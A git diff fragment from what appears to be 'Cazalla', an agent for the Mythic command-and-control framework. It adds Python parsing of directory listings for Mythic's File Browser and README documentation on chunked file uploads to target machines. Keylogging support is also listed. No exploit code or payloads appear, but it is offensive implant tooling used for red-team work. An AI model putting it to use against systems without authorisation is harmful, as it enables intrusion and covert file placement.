"files": unique_files # Use deduplicated files list - complete and fresh
}
print(f"[FILE_BROWSER] Sending fresh listing for '{name}' with {len(unique_files)} unique files (timestamp: {current_timestamp_ms}, update_deleted=True)")
return file_browser_data
except Exception as e:
print(f"[ERROR] Error parseando lista de archivos: {e}")
import traceback
traceback.print_exc()
return None
def postResponse(data): def postResponse(data):
print(f"Tamaño del Base64 recibido: {len(data)} bytes") print(f"Tamaño del Base64 recibido: {len(data)} bytes")
print(f"[DEBUG] Primeros 100 bytes (hex): {data[:100].hex()}") print(f"[DEBUG] Primeros 100 bytes (hex): {data[:100].hex()}")
@@ -681,6 +821,32 @@ def postResponse(data):
jsonTask["processes"] = processes jsonTask["processes"] = processes
print(f"[PROCESS_BROWSER] Respuesta convertida al formato Process Browser con {len(processes)} procesos") print(f"[PROCESS_BROWSER] Respuesta convertida al formato Process Browser con {len(processes)} procesos")
# Detectar y convertir formato File Browser (formato: path\nD/F\tSIZE\tDATE\tNAME)
# El formato del agente es: primera línea es el path, luego líneas con D/F\tSIZE\tMM/DD/YYYY HH:MM:SS\tNAME
# Solo procesar si NO es una lista de procesos (para evitar conflictos)
file_browser_data = None
if not is_process_list and decoded_output and '\t' in decoded_output and '\n' in decoded_output:
lines = [l.strip() for l in decoded_output.strip().split('\n') if l.strip()]
if len(lines) >= 2:
# Verificar si el formato es de lista de archivos
# Primera línea debería ser un path (contiene :\ o \\)
first_line = lines[0]
# Segunda línea debería empezar con D o F seguido de tab
if len(lines) > 1:
second_line = lines[1]
parts = second_line.split('\t')
# Verificar formato: D/F\tSIZE\tDATE\tNAME
# DATE debería tener formato MM/DD/YYYY HH:MM:SS (contiene / y :)
if (len(parts) >= 4 and
parts[0].strip() in ['D', 'F'] and
'/' in parts[2] and ':' in parts[2] and
(':' in first_line or '\\' in first_line)):
print(f"[FILE_BROWSER] Detectado formato de lista de archivos, parseando...")
file_browser_data = parse_file_browser_list(decoded_output)
if file_browser_data:
jsonTask["file_browser"] = file_browser_data
print(f"[FILE_BROWSER] Respuesta convertida al formato File Browser con {len(file_browser_data.get('files', []))} archivos/carpetas")
# Support for artifacts: create artifacts from parsed data # Support for artifacts: create artifacts from parsed data
artifacts = [] artifacts = []
+62 -11
View File
@@ -27,7 +27,7 @@
- [Credentials Support](#credentials-support) - [Credentials Support](#credentials-support)
- [File Downloads Support](#file-downloads-support) - [File Downloads Support](#file-downloads-support)
- [File Uploads Support](#file-uploads-support) - [File Uploads Support](#file-uploads-support)
- [⌨️ Keylogging Support](#%EF%B8%8F-keylogging-support) - [Keylogging Support](#%EF%B8%8F-keylogging-support)
- [Development](#development) - [Development](#development)
- [Troubleshooting](#troubleshooting) - [Troubleshooting](#troubleshooting)
- [Credits](#credits) - [Credits](#credits)
@@ -905,9 +905,11 @@ Cazalla supports uploading files from the Mythic server to the target using chun
- **Chunked File Transfers**: Large files are automatically split into chunks (512KB default) for efficient transfer - **Chunked File Transfers**: Large files are automatically split into chunks (512KB default) for efficient transfer
- **Automatic Path Normalization**: Automatically handles path formatting (normalizes double backslashes) - **Automatic Path Normalization**: Automatically handles path formatting (normalizes double backslashes)
- **Smart Path Handling**: Automatically appends filename when path is a directory - **Smart Path Handling**: Automatically appends filename when path is a directory or doesn't have a file extension
- **File Browser Integration**: Fully integrated with Mythic's File Browser UI - upload files directly from the browser
- **Progress Tracking**: Mythic tracks upload progress (chunks sent/total chunks) - **Progress Tracking**: Mythic tracks upload progress (chunks sent/total chunks)
- **File Write Artifacts**: Automatically reports File Write artifacts when files are uploaded - **File Write Artifacts**: Automatically reports File Write artifacts when files are uploaded
- **Parent Directory Creation**: Automatically creates parent directories if they don't exist
### How It Works ### How It Works
@@ -927,14 +929,34 @@ Cazalla supports uploading files from the Mythic server to the target using chun
### Using the Upload Command ### Using the Upload Command
#### From Command Line
```bash ```bash
# Upload a file to the target # Upload a file to the target
# Select file from Mythic UI file selector, then specify destination path # Select file from Mythic UI file selector, then specify destination path
upload <file> C:\Users\localuser\Downloads\file.txt upload <file_id> C:\Users\localuser\Downloads\file.txt
# If path is a directory, filename is automatically appended
upload <file_id> C:\Users\localuser\Downloads
# → Automatically becomes: C:\Users\localuser\Downloads\<filename>
# Uploads are chunked automatically - Mythic will show progress # Uploads are chunked automatically - Mythic will show progress
``` ```
#### From File Browser UI
The `upload` command is fully integrated with Mythic's File Browser:
1. Navigate to **Files** icon in the top navigation
2. Browse to the target directory where you want to upload
3. Click the **Upload** button (or right-click on a directory)
4. Select the file from your local system
5. The agent automatically detects if the path is a directory and appends the filename
**Note**: When uploading from the File Browser, you can specify:
- A full file path: `C:\Users\localuser\Downloads\file.txt` → Uploads to exact path
- A directory path: `C:\Users\localuser\Downloads` → Automatically appends filename from source file
### Upload Process ### Upload Process
1. **Request**: Agent sends upload request to Mythic for each chunk: 1. **Request**: Agent sends upload request to Mythic for each chunk:
@@ -969,12 +991,22 @@ Mythic: File Write artifact created
### Path Handling ### Path Handling
The upload command includes smart path handling: The upload command includes smart path handling with multiple detection methods:
- **Normalization**: Automatically normalizes double backslashes (`C:\\\\Users` → `C:\Users`) - **Normalization**: Automatically normalizes double backslashes (`C:\\\\Users` → `C:\Users`)
- **Directory Detection**: If the path is a directory, automatically appends the filename from Mythic - **Invalid Character Cleaning**: Removes null bytes, carriage returns, newlines, and other invalid characters
- **Full Path Resolution**: Uses `GetFullPathName` to resolve relative paths to absolute paths - **Directory Detection**: Multiple heuristics to detect directories:
- **Error Handling**: Clear error messages for invalid paths, access denied, or directory issues - Path ends with `\` or `/` → Treated as directory, filename appended
- Path has no file extension in the last component → Treated as directory, filename appended
- Path is a drive letter (e.g., `C:`) → Treated as directory, filename appended
- Path exists and is a directory → Treated as directory, error reported if no filename
- **Full Path Resolution**: Uses `GetFullPathNameA` to resolve relative paths to absolute paths
- **Parent Directory Creation**: Automatically creates parent directories if they don't exist
- **Error Handling**: Clear error messages for:
- Invalid paths (Error 123: invalid filename syntax)
- Directory without filename specified
- Access denied errors
- Path not found errors
### Implementation Details ### Implementation Details
@@ -987,10 +1019,13 @@ The upload system uses:
### Error Handling ### Error Handling
The upload command handles various error scenarios: The upload command handles various error scenarios:
- **Invalid Path**: Returns error if path is invalid or malformed - **Invalid Path (Error 123)**: Returns error if path contains invalid characters or malformed syntax
- **Directory as Path**: Detects and reports error if path is a directory without filename - Automatically cleans null bytes, control characters, and invalid path characters
- Handles UNC paths (`\\server\share`) correctly
- **Directory as Path**: Detects and reports clear error if path is a directory without filename
- Error message: "El path es un directorio existente. Especifique un nombre de archivo"
- **Access Denied**: Returns Windows error code if file cannot be created/written - **Access Denied**: Returns Windows error code if file cannot be created/written
- **Path Not Found**: Returns error if parent directory does not exist - **Path Not Found**: Automatically creates parent directories, or returns error if creation fails
### Viewing Upload Artifacts ### Viewing Upload Artifacts
@@ -999,7 +1034,23 @@ The upload command handles various error scenarios:
3. Filter by "File Write" artifact type 3. Filter by "File Write" artifact type
4. View all files that were uploaded, including file paths and timestamps 4. View all files that were uploaded, including file paths and timestamps
For more information, see the [Mythic File Upload documentation](https://docs.mythic-c2.net/customizing/hooking-features/action-upload). ### File Browser Integration
The `upload` command supports Mythic's File Browser UI feature (`file_browser:upload`):
- **Seamless Integration**: Upload files directly from the File Browser interface
- **Smart Path Resolution**: Automatically handles directory paths from File Browser
- **Progress Tracking**: Real-time progress visible in Mythic UI
- **Artifact Tracking**: All uploads automatically logged as "File Write" artifacts
**How it works**:
1. File Browser sends `path` parameter with directory path (e.g., `C:\Users\localuser\Downloads`)
2. Python `upload.py` detects the path is a directory (no file extension)
3. Retrieves the original filename from the `file_id` via Mythic RPC
4. Automatically appends filename to directory path
5. Sends complete path to agent: `C:\Users\localuser\Downloads\config.json`
For more information, see the [Mythic File Upload documentation](https://docs.mythic-c2.net/customizing/hooking-features/action-upload) and [File Browser documentation](https://docs.mythic-c2.net/customizing/hooking-features/file-browser).
--- ---